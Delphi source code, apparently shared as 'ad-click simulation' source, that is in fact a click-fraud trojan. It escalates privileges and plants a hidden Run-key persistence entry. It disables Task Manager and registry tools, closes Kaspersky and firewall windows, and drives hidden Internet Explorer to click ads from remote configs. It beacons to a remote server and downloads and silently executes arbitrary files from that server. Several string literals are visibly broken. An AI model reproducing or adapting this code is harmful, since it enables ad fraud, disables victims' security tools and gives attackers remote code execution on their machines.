模拟点击网页广告源代码

unit Unit1;
{$R 'copyrightA.res'}
interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls,shellApi,urlmon, wininet,shlobj,ExtCtrls,encrypt;

type
TAnHao_Click = class(TForm)
    TIME_DO: TTimer;
    TIME_All: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure TIME_DOTimer(Sender: TObject);
    procedure TIME_AllTimer(Sender: TObject);
    procedure FormShow(Sender: TObject);
private
    { Private declarations }
public
    { Public declarations }
end;

var
AnHao_Click: TAnHao_Click;
DownUrl:array [0..255] of char;//点击广告配置文件下载路径
LLUrl,ClickNum,Upurl:array [0..255] of char;//流量配置文件下载路径
DownSaveA:array [0..255] of char; //广告txt保存路径
DownSaveL:array [0..255] of char; //流量txt保存路径
DownSaveC:array [0..255] of char; //剩余点击次数保存路径
DownSaveDL:array [0..255] of char; //更新txt保存路径
iename: array [0..255] of char;
iepath:string ;    //IE 路径
D_Xy:DWORD;        //点击的坐标
Int_LL:integer;    //流量定时器计数

Int_Cr:integer;
ispost:BOOL;      //点击还是上线
ClickUrl:STring; //当前点击网址
implementation

{$R *.dfm}

//系统路径
function syspath():string;
var
temp: array [0..255] of char;
begin
GetsystemDirectory(temp,250);
result:=temp;
end;

//按顶字符串排序分离
function Split(Input: string; Deliminator: string; Index: integer): string;
var
StringLoop, StringCount: integer;
Buffer: string;
begin
Buffer := '';
if Index < 1 then Exit;
StringCount := 0;
StringLoop := 1;
while (StringLoop <= Length(Input)) do
begin
    if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
    begin
      Inc(StringLoop, Length(Deliminator) - 1);
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
    Inc(StringLoop, 1);
end;
Inc(StringCount);
if StringCount < Index then Buffer := '';
Result := Buffer;
end;

//HIV 启动
procedure GetBackPrivilege;
Const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV ='SeBackupPrivilege';
PRIV_SIZE      = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len:dWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
end;

procedure GetRestorePrivilege;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
begin
    TP.PrivilegeCount:=1;
    TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
    TP.Privileges[0].Luid:=lpLuid;
    AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end;
CloseHandle(TokenHandle);
end;

function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
    result := true;
RegCloseKey(regkey);
end;

function SaveKey2(key:integer;subkey,filename:string):Boolean;
var
SKey: HKEY;
begin
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
end
else
begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
end;
if SKey <> 0 then
try
    Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally
    RegCloseKey(SKey);
end;
end;

procedure regstore2(key:integer;subkey,hfile:string);
var
key2: hkey;
begin
if key=1 then
begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
end
else begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
end;
if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
RegCloseKey(key2);
end;

procedure DoAll(exefile:string);
var
key:HKEY;
I:Integer;
begin
SaveKey2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\1.hiv');
RegCreateKey(HKEY_CURRENT_USER,PChar('Software\AnHao'),key);
for i := 1 to 10 do regstore2(1,'Software\AnHao','c:\1.hiv');
addreg(HKEY_CURRENT_USER,'Software\AnHao\explorer\run','Hackceo',exefile);
SaveKey2(1,PChar('Software\AnHao'),'c:\2.hiv');
for i := 1 to 10 do regstore2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\2.hiv');
RegDeleteKey(HKEY_CURRENT_USER,'Software\AnHao');
RegCloseKey(key);
DeleteFile('c:\1.hiv');
DeleteFile('c:\2.hiv');
end;

//删除CCOOKIE
function GetCookiesFolder:string;
var
    pidl:pItemIDList;
    buffer:array [ 0..255 ] of char ;
begin
   SHGetSpecialFolderLocation(
     0 , CSIDL_COOKIES, pidl);

   SHGetPathFromIDList(pidl, buffer);
   result:=strpas(buffer);
end;

function ShellDeleteFile(sFileName: string): Boolean;
var
FOS: TSHFileOpStruct;
begin
   FillChar(FOS, SizeOf(FOS), 0); {记录清零}
   with FOS do
   begin
       Wnd:=0;
       wFunc := FO_DELETE;//删除
       pFrom := PChar(sFileName);
       fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
   end;
   Result := (SHFileOperation(FOS) = 0);
end;
procedure DelCookie;
var
   dir:string;
begin
   InternetSetOption(nil, INTERNET_OPTION_END_BROWSER_SESSION, nil, 0);
   dir:=GetCookiesFolder;
   ShellDeleteFile(dir+'\*.txt');
end;

// 注册表锁住
procedure Disablesome();
var
SHK:HKEY;
KeyValue:DWORD;
begin
try
    //隐藏文件
    KeyValue:=2;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'Hidden',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
    RegCloseKey(SHK);
end;
try
    //文件夹选项锁定
    KeyValue:=0;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'CheckedValue',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
    RegCloseKey(SHK);
end;
try
    //禁止任务管理器
    KeyValue:=1;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'DisableTaskMgr',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
    RegCloseKey(SHK);
end;
try
    //禁止注册表
    KeyValue:=1;
    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
    RegSetValueEx(SHK,'DisableRegistryTools',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
    RegCloseKey(SHK);
end;
end;
function rbl(Hwnd: THandle;
            Param: Pointer): Boolean; stdcall;
var
bt: array[0..210] of char ;
begin
getwindowtext(Hwnd,bt,200);
     if ((pos('防火墙',bt)<>0)or (pos('主线程',bt)<>0))then
      begin
        postmessage(hwnd,$0010,0,0) ;
        postmessage(hwnd,$0002,0,0);
        postmessage(hwnd,$0012,0,0);
      end;
Result :=true ;
end;

// 杀咔吧 线程 ..
procedure kis ();
var
HKill:THANDLE;
KCaption: array[0..200] of char ;
begin
while (true) do
begin
    HKill:=GetForegroundWindow() ;
    GetClassName(HKill,KCaption,200);
    if (pos('AVP',KCaption)<>0) then    //or(pos('AVP',KCaption)<>0)
    begin
      postmessage(HKill,WM_CLOSE,0,0) ;
    end;
    EnumWindows(@rbl,0);
    sleep(20);
end;
end;
//创建杀卡巴线程
procedure killkis();
var
kishand:THANDLE;
kispid:DWORD;
begin             //设置时间
kishand:=CreateThread(nil, 0, @kis, nil, 0,kispid);
CloseHandle(kishand);
end;

procedure Sendip();
var
si: TSTARTUPINFO;
pi: TProcessInformation;
Wed:string;
begin
with si do
begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
end;
if ispost then
begin
    //点击
    Wed:='Open pics/www.damocs.cn/360/click.asp?Url='+ClickUrl;
end else begin
    Wed:='Open pics/www.damocs.cn/360/click.asp?Url=OnLine'; //上线
end;

CreateProcess(pchar(iepath),pchar(WED),
             nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, 20000);
TerminateProcess(pi.hProcess,0);
end;

//-----------------------------------------------------------------------------

// 更新 .
procedure Updata () ;
var
txtDl:textfile;
STR_URL,Str_path:string;
begin
URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);
if FileExists(DownSaveDL) then
begin
    try
      assignfile(txtDL,DownSaveDL);
      reset(TxtDL);
      While not Eof(TxtDL) do
      begin
        Readln(TxtDL,Str_Url);
        Readln(TxtDL,Str_Path);
        if (S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then
        begin
          ShellExecute(0,'open',pchar(Str_Path),nil,nil,SW_HIDE);
        end;
      end;
    finally
      CloseFile(TxtDL);
    end;
end;
end;

//点击广告过程
function SClick(Hwnd: THandle;
            Param: Pointer): Boolean; stdcall;
var
bt: array[0..210] of char ;
HandA,handB:Thandle; //handb保存IE主窗口点击后要隐藏
begin
getwindowtext(Hwnd,bt,200);
// if (length(trim(string(bt)) > 30) then
// begin
if (pos('小雨雪',bt)<>0) or (pos('索',bt)<>0) then
begin
    handB:=Hwnd; //保存IE主窗口
    PostMessage(handB,WM_SIZE,SIZE_MAXIMIZED,0); //隐藏最大化IE
    ShowWindow(HandB,SW_HIDE);
    handa:=FindWindowEx(hwnd,0,'TabWindowClass',nil);
    if handa <> 0 then
    begin
      Hwnd := handa;
    end;
    hwnd:=FindWindowEx(hwnd,0,'Shell DocObject View',nil);
    if hwnd <> 0 then
    begin
      hwnd:=FindWindowEx(hwnd,0,'Internet Explorer_Server',nil);
      if hwnd <> 0 then
      begin
        ShowWindow(HandB,SW_HIDE);
        PostMessage(hwnd,WM_LBUTTONDOWN,MK_LBUTTON,D_Xy);
        PostMessage(hwnd,WM_LBUTTONUP,MK_LBUTTON,D_Xy);

        ShowWindow(HandB,SW_HIDE);

        IsPost:=True;
        SendIp;       //发送点击信息
        ShowWindow(HandB,SW_HIDE);
        Result :=true ;
        exit;
      end;
    end
// end;
end;
Result :=true ;
end;

//读取配置
procedure ClickAd ();
var
si: TSTARTUPINFO;
pi: TProcessInformation;

txtA:TextFile; //广告配置文本
Str_Cr:string;   // 当前版本
Str_URL,STR_SleepA,STR_Xy,STR_SleepB,STR_ISClick:string ;
begin
with si do
begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
end;
URLDownloadToFile(nil,DownUrl,DownSaveA,0,nil);
if FileExists(DownSaveA) then
begin
    try
      assignfile(txtA,DownSaveA);
      reset(TxtA);
      Readln(TxtA,Str_Cr);   //获得版本
      if strtoint(Str_Cr) <= Int_Cr then exit;
      Int_Cr:= strtoint(Str_Cr);
      While not Eof(TxtA) do
      begin
        readln(TxtA,Str_Url);
        readln(TxtA,Str_SleepA);
        readln(TxtA,Str_Xy);
        readln(TxtA,Str_SleepB);
        readln(TxtA,Str_ISClick);
        if 'a'=Str_ISClick then
        begin
          D_Xy:=strtoint(Str_Xy);           //转换成32位坐标
          ClickUrl:=Split(Str_Url,'.',2);   //分离目标网址
          CreateProcess(pchar(iepath),pchar(Str_Url),
                          nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
          WaitForSingleObject(pi.hProcess, strtoint(Str_SleepA+00'));
          EnumWindows(@SClick,0);

          Sleep(strtoint(Str_SleepB+00'));
          TerminateProcess(pi.hProcess,0);
          TerminateProcess(pi.hProcess,0);
          sleep(5000);
          DelCookie;
          sleep(5000);
        end;
      end;
    finally
      CloseFile(TxtA);
      windows.DeleteFile(DownSaveA);
    end;
end;
end;
//刷流量
procedure GetLL ();
var
txtLL:textfile;
STR_URL,Str_Sleep:string;
si: TSTARTUPINFO;
pi: TProcessInformation;
Wed:string;
begin
URLDownloadToFile(nil,LLUrl,DownSaveL,0,nil);
if FileExists(DownSaveL) then
begin
with si do
begin
    cb := SizeOf(si);
    lpReserved := nil;
    lpDesktop := nil;
    lpTitle := nil;
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_HIDE;
    cbReserved2 := 0;
    lpReserved2 := nil;
end;
    try
      assignfile(txtLL,DownSaveL);
      reset(TxtLL);
      While not Eof(TxtLL) do
      begin
        Readln(TxtLL,Str_Url);
        Readln(TxtLL,Str_Sleep);
        application.ProcessMessages;
        CreateProcess(pchar(iepath),pchar(Str_Url),
             nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
        WaitForSingleObject(pi.hProcess, strtoint(Str_Sleep+00'));
        application.ProcessMessages;
        TerminateProcess(pi.hProcess,0);
        DelCookie;
        sleep(2000);
      end;
    finally
      CloseFile(TxtLL);
    end;
end;
end;

//窗口创建
procedure TAnHao_Click.FormCreate(Sender: TObject);
var
Hk: hkey;
exepath:string;
iekey: Hkey;
vType,dLength :DWORD;
CookiePid,HCookie:DWORD;
begin
CreateMutex(nil,True,'AnHao_Ad');
if GetLastError = ERROR_ALREADY_EXISTS then
begin
    Application.Terminate;
    PostMessage(handle,WM_CLOSE,0,0);
end;
Int_Cr:= 0 ;
GetRestorePrivilege; //提权
GetBackPrivilege;
try
    regopenkey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\policies', Hk);
    regcreatekey(Hk,pchar('explorer'),Hk);
    regcreatekey(Hk,pchar('run'),Hk);
finally
    CloseHandle(Hk);
end;
killkis();
exepath:=syspath()+'\361Ad.exe';
SetFileAttributes(pchar(paramstr(0)),FILE_ATTRIBUTE_HIDDEN+ FILE_ATTRIBUTE_SYSTEM);
DoAll(exepath);
copyfile(pchar(paramstr(0)),pchar(exepath),true);
Disablesome();
strcopy(DownSaveDL,pchar(syspath()+'\AnHaoD.Txt')); //更新
strcopy(DownSaveA,pchar(syspath()+'\AnHaoA.Txt'));   // 广告
strcopy(DownSaveL,pchar(syspath()+'\AnHaoL.Txt'));   //流量
strcopy(DownSaveC,pchar(syspath()+'\AnHaoC.Txt'));   //次数

Int_LL:=0; //流量计数器

HCookie:=createthread(nil,0,@DelCookie,nil,0,CookiePid);
WaitForSingleObject(HCookie,10000*6*10);
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
begin
    iepath := iename
end else begin
    iepath := 'C:\Program Files\Internet Explorer\IEXPLORE.EXE';
    RegCloseKey(iekey);
end;
end;

//开始工作
procedure TAnHao_Click.TIME_DOTimer(Sender: TObject);
var
PIDA,PIDB:DWORD;
Txt:textfile;
ClickCount:String;
begin
if (Int_LL = 0) or (Int_LL=20) then
begin
    TIME_Do.Enabled:=False;
    ClickCount:=';
    URLDownloadToFile(nil,ClickNum,DownSaveC,0,nil);
    if FileExists(DownSaveC) then
    begin
      try
        assignfile(txt,DownSaveC);
        reset(Txt);
        ReadLn(txt,ClickCount);
      finally
        CloseFile(txt);
        windows.DeleteFile(DownSaveC);
      end;
    end;
    if strtoint(ClickCount) >0 then
    begin
      ClickAd; //点击广告
    end;
//    PIDB:=CreateThread(nil,0,@ClickAd,Nil,0,PIDA);
//    WaitForSingleObject(PIDB,INFINITE) ;
    sleep(1000);
    GetLL ; //刷流量
    sleep(1000);
    UPData; //更新下载者
//    PIDB:=CreateThread(nil,0,@Getll,Nil,0,PIDA);
//    WaitForSingleObject(PIDB,INFINITE) ;
    TIME_Do.Enabled:=True;
    Int_LL:=0;
end;
Int_LL:=Int_LL+1;
end;

//判断是否联网 控制 刷流量和点击广告开始 定时器
procedure TAnHao_Click.TIME_AllTimer(Sender: TObject);
var
Connect_status : DWORD;
URLA,URLB,UrlC,UrlD:string;
begin
if InternetGetConnectedState(@connect_status,0)then
begin
    Ispost:=False ;
    SendIp;        //发送上线信息

    //pics/www.damocs.cn/config/gg.txt   //广告
    UrlA:=jmp(13D3D397366663E3E3E672D2824262A3A672A27662A26272F202E662E2E673D313D','I');

    //pics/www.damocs.cn/config/ll.txt   //流量
    UrlB:=jmp(84444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5C5C1E444844','SBL');

    //pics/www.damocs.cn/config/dl.txt //更新
    UrlC:=jmp(84444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F545C1E444844','Love');

    //剩余点击次数
    //pics/www.damocs.cn/config/num.txt
    UrlD:=jmp(84444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5E455D1E444844','Love');

    strcopy(DownUrl,pchar(UrlA));
    strcopy(LLUrl,pchar(UrlB));
    strcopy(Upurl,pchar(UrlC));
    strcopy(ClickNum,pchar(UrlD));

    TIME_Do.Enabled:=True;
    TIME_All.Enabled:=False;
end;
end;
procedure TAnHao_Click.FormShow(Sender: TObject);
begin
ShowWindow(0,SW_HIDE);
end;

end.